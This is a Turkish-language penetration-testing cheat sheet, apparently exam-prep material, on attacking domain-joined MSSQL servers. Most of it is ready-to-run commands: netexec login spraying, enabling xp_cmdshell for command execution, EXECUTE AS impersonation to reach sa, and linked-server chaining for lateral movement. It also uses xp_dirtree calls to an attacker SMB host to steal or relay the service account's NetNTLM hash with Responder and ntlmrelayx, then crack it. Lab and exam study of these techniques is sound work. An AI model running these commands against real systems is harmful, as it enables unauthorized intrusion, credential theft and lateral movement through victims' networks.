FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE orta :1433:445:389

AD MSSQL İstismarı — xp_cmdshell / Linked Server / EXECUTE AS / xp_dirtree NetNTLM Relay

Domain entegre MSSQL'e Windows auth ile bağlanıp xp_cmdshell ile RCE, linked server / EXECUTE AS ile yetki yükseltme ve xp_dirtree ile servis hesabının NetNTLM hash'ini çalıp relay/crack etme.

Bilgi: ÖN KOŞULLAR
  • MSSQL'e bir login: domain kullanıcısı ({{USER}}:{{PASS}} / {{NTHASH}}), SQL login ya da güvenilen bir oturum
  • Hedef 1433/TCP erişilebilir (ya da Browser 1434/UDP ile instance keşfi)
  • RCE için sysadmin rolü ya da ona ulaştıran impersonation/linked-server zinciri
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc mssql {{RHOSTS}} -u {{USER}} -p '{{PASS}}' --local-auth
MSSQL login spray / erişim teyidi. Domain auth için --local-auth kaldır. Hash ile: -H {{NTHASH}}. NetExec Wiki — mssql; HackTricks — MSSQL
netexec ✓ EXAM-SAFE user
nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -q 'SELECT @@version; SELECT IS_SRVROLEMEMBER(''sysadmin'')'
Sürüm ve sysadmin üyeliğini sorgula; 1 dönerse doğrudan xp_cmdshell açabilirsin. NetExec Wiki — mssql -q; HackTricks — MSSQL enum
impacket-mssqlclient ✓ EXAM-SAFE user
impacket-mssqlclient {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} -windows-auth
Windows auth (Kerberos/NTLM) ile interaktif MSSQL shell. Hash ile: -hashes :{{NTHASH}}. Kerberos: -k -no-pass. WADComs — Impacket-mssqlclient; HackTricks — MSSQL
impacket-mssqlclient ✓ EXAM-SAFE admin
enable_xp_cmdshell
mssqlclient interaktif komutu: xp_cmdshell'i aç (sysadmin gerekir). Sonra: xp_cmdshell whoami. Impacket mssqlclient; HackTricks — MSSQL xp_cmdshell
netexec ✓ EXAM-SAFE admin
nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -X 'whoami' --local-auth
NetExec ile xp_cmdshell üzerinden komut çalıştır (-x cmd, -X powershell); modül otomatik açar. NetExec Wiki — mssql command execution; HackTricks — MSSQL RCE
mssql ✓ EXAM-SAFE admin
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
Ham T-SQL: gelişmiş seçenekleri ve xp_cmdshell'i aç, OS komutu çalıştır. SQL Server servis hesabı bağlamında çalışır. HackTricks — MSSQL xp_cmdshell; Microsoft Docs — xp_cmdshell
mssql ✓ EXAM-SAFE user
SELECT SYSTEM_USER; EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');
EXECUTE AS: impersonate hakkın olan bir login'e (ör. sa) geç; sysadmin'e ulaşırsan xp_cmdshell aç. REVERT ile geri dön. HackTricks — MSSQL EXECUTE AS / Impersonation; PayloadsAllTheThings MSSQL
mssql ✓ EXAM-SAFE user
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
Hangi login'leri impersonate edebileceğini listele (EXECUTE AS hedef avcılığı). HackTricks — MSSQL Impersonation enum; PayloadsAllTheThings MSSQL
mssql ✓ EXAM-SAFE user
EXEC sp_linkedservers; SELECT srvname, isremote FROM sysservers;
Linked server'ları listele; isremote=0 olanlar başka SQL sunucusuna güvenli zinciri gösterir. HackTricks — MSSQL Linked Servers; PayloadsAllTheThings MSSQL
mssql ✓ EXAM-SAFE user
EXEC ('SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED\SQL];
Linked server'da EXECUTE AT ile sorgu/komut çalıştır; uzak login sysadmin ise oradan xp_cmdshell aç. HackTricks — MSSQL Linked Server EXECUTE AT; PayloadsAllTheThings MSSQL
mssql ✓ EXAM-SAFE user
EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED\SQL];
Linked server üzerinden uzak SQL'de xp_cmdshell ile RCE; zincirleme linked server ile derinlere git. HackTricks — Linked Server RCE; PayloadsAllTheThings MSSQL
netexec ✓ EXAM-SAFE user
nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -M mssql_priv
Impersonation / linked-server / sysadmin yollarını otomatik keşfet ve mümkünse sysadmin'e yükselt. NetExec Wiki — mssql_priv module; HackTricks — MSSQL privesc
mssql ✓ EXAM-SAFE user
EXEC master..xp_dirtree '\\{{LHOST}}\share', 1, 1;
NetNTLM hash çalma: SQL servis hesabını saldırgan SMB'sine kimlik doğrulamaya zorla. Responder/ntlmrelayx ile yakala. HackTricks — MSSQL xp_dirtree NTLM theft; The Hacker Recipes — MSSQL
responder ✓ EXAM-SAFE # root
responder -I {{INTERFACE}} -wv
xp_dirtree öncesi dinleyiciyi başlat; SQL servis hesabının NetNTLMv2 hash'ini yakala, sonra hashcat -m 5600 ile kır. HackTricks — Responder; The Hacker Recipes — NTLM capture
impacket-ntlmrelayx ✓ EXAM-SAFE # root
impacket-ntlmrelayx -t smb://{{RHOST}} -smb2support --no-http-server -i
xp_dirtree ile gelen SQL servis hesabı NetNTLM auth'unu başka host'a relay et (SMB signing kapalıysa) -> komut/dump. HackTricks — NTLM Relay; The Hacker Recipes — MSSQL xp_dirtree relay
mssql ✓ EXAM-SAFE user
EXEC master..xp_subdirs '\\{{LHOST}}\share';
xp_dirtree alternatifi NetNTLM tetikleyici; xp_dirtree filtreliyse xp_subdirs / xp_fileexist dene. HackTricks — MSSQL NTLM theft alternatives; PayloadsAllTheThings MSSQL

Domain ortamlarında MSSQL hem RCE hem yatay hareket için bereketli bir hedeftir, çünkü genelde Windows entegre kimlik doğrulama kullanır ve servis hesabı çoğu zaman aşırı yetkilidir. Akış: prereq (bir login) -> enum (rol/impersonation/linked) -> attack (xp_cmdshell veya zincir) -> result (RCE / yeni kimlik / NetNTLM hash).

0. Erişim ve Bağlanma

Önce login’in çalıştığını teyit et: nxc mssql {{RHOSTS}} -u {{USER}} -p '{{PASS}}'. Domain hesabı için --local-auth KULLANMA; yerel SQL login için kullan. İnteraktif çalışmak için impacket-mssqlclient ... -windows-auth (Kerberos için -k -no-pass, hash için -hashes :{{NTHASH}}). Bağlanınca hemen rolünü ölç: SELECT IS_SRVROLEMEMBER('sysadmin'). 1 dönerse doğrudan 1. adıma; 0 ise 2/3. adımdaki yükseltme zincirlerine bak.

1. xp_cmdshell ile RCE

sysadmin isen xp_cmdshell ile OS komutu çalıştırırsın. Kapalıysa açman gerekir: sp_configure 'show advanced options',1; RECONFIGURE ardından sp_configure 'xp_cmdshell',1; RECONFIGURE. mssqlclient’in kısayolu enable_xp_cmdshell, NetExec’in ise -X/-x bayrağı modülü otomatik açar. Komutlar SQL Server servis hesabının bağlamında çalışır (genelde NT Service\MSSQLSERVER, gMSA ya da bir domain servis hesabı) — bu hesabın yetkisi senin shell’inin yetkisidir. Buradan bir reverse shell çekip foothold’unu kalıcılaştırırsın.

2. EXECUTE AS / Impersonation ile Privesc

sysadmin değilsen ama IMPERSONATE hakkın varsa başka bir login’e geçebilirsin. Önce kimleri taklit edebileceğini bul (sys.server_permissions sorgusu), sonra EXECUTE AS LOGIN = 'sa'. Eğer hedef sysadmin ise artık SELECT IS_SRVROLEMEMBER('sysadmin') = 1 döner ve 1. adıma geçersin. İşin bitince REVERT ile orijinal kimliğine dön. Çoğu PG/HTB kutusunda zincir: düşük login -> EXECUTE AS ile sa -> xp_cmdshell -> SYSTEM/servis hesabı.

3. Linked Server (EXECUTE AT)

MSSQL sunucuları sık sık birbirine linked server ile güvenir, ve bu bağlantı çoğu zaman uzak tarafta sysadmin haklarıyla yapılandırılır. EXEC sp_linkedservers ile listele, sonra EXEC ('...sorgu...') AT [LINKED\SQL] ile uzak sunucuda kod çalıştır. Uzak login sysadmin ise oradaki xp_cmdshell’i açıp ikinci sunucuda da RCE alırsın — ve linked server’ları zincirleyerek ağın derinine inebilirsin (AT içinde tekrar AT ile nested). NetExec’in mssql_priv modülü bu impersonation/linked yollarını otomatik tarar.

4. xp_dirtree ile NetNTLM Hırsızlığı ve Relay

sysadmin değilsen bile (public yeter) SQL servis hesabını saldırgan makinene kimlik doğrulamaya zorlayabilirsin: EXEC master..xp_dirtree '\\{{LHOST}}\share'. SQL servis hesabı senin SMB’ne NetNTLMv2 ile bağlanır. İki kullanım: (a) responder -I {{INTERFACE}} ile hash’i yakala, hashcat -m 5600 ile kır; (b) hash kırılamıyorsa impacket-ntlmrelayx -t smb://{{RHOST}} ile başka bir host’a relay et — hedefte SMB signing kapalı VE servis hesabı orada admin ise komut/dump alırsın. xp_dirtree filtreliyse xp_subdirs ya da xp_fileexist aynı işi görür. Bu, MSSQL’in en sessiz ve en az ayrıcalık isteyen lateral yoludur.

Sık Hatalar

  • Servis hesabı bağlamı: xp_cmdshell komutları senin domain kullanıcın olarak değil, SQL servis hesabı olarak çalışır; whoami ile teyit et.
  • —local-auth karışıklığı: Domain auth’ta bu bayrağı koyarsan login başarısız olur.
  • xp_dirtree relay için signing: Hedefte SMB signing zorunluysa relay başarısız olur; o zaman sadece capture+crack yolu kalır.
  • EXECUTE AS sonrası REVERT: Taklit oturumunu kapatmazsan sonraki sorgular yanlış bağlamda çalışır.
  • Kerberos için FQDN: -k ile bağlanırken MSSQL host’unu FQDN ve doğru SPN (MSSQLSvc/…) ile ver; IP Kerberos’u bozar, clock skew için saatini DC’ye eşle.
┌──

Kaynaklar

0/15 set